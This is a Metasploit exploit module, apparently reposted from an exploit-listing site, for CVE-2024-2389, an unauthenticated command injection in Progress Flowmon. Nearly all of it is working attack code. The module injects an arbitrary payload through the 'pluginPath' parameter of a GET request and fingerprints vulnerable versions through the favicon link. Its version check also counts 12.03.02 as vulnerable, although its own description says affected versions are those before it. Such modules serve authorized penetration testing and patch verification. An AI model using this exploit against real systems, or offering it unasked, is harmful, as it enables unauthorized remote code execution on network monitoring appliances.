Share
## https://sploitus.com/exploit?id=1337DAY-ID-39627
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Flowmon Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability in Progress Flowmon
          versions before v12.03.02.
        },
        'Author' => [
          'Dave Yesland with Rhino Security Labs',
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-2389'],
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],
          ['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']
        ],
        'DisclosureDate' => '2024-04-23',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Targets' => [['Automatic', {}]],
        'Privileged' => false,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The URI path to Flowmon', '/'])
    ])
  end

  def execute_command(cmd)
    send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'service.pdfs', 'confluence'),
      'method' => 'GET',
      'vars_get' => {
        'file' => rand_text_alphanumeric(8),
        'lang' => rand_text_alphanumeric(8),
        'pluginPath' => "$(#{cmd})"
      }
    )
  end

  def exploit
    print_status('Attempting to execute payload...')
    execute_command(payload.encoded)
  end

  def check
    print_status("Checking if #{peer} can be exploited!")

    uri = normalize_uri(target_uri.path, 'homepage/auth/login')
    res = send_request_cgi(
      'uri' => uri,
      'method' => 'GET'
    )

    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Safe('Target does not appear to be running Progress Flowmon') unless res.code == 200 && res.get_html_document.xpath('//title').text == 'Flowmon Web Interface'

    # Use a regular expression to extract the version number from the response
    version = res.body.match(%r{/favicon\.ico\?v=([\d.]+)})

    return CheckCode::Unknown('Unable to determine the version from the favicon link.') unless version && version[1]

    print_status("Detected version: #{version[1]}")

    if Rex::Version.new(version[1]) <= Rex::Version.new('12.03.02')
      CheckCode::Vulnerable("Version #{version[1]} is vulnerable.")
    else
      CheckCode::Safe("Version #{version[1]} is not vulnerable.")
    end
  end
end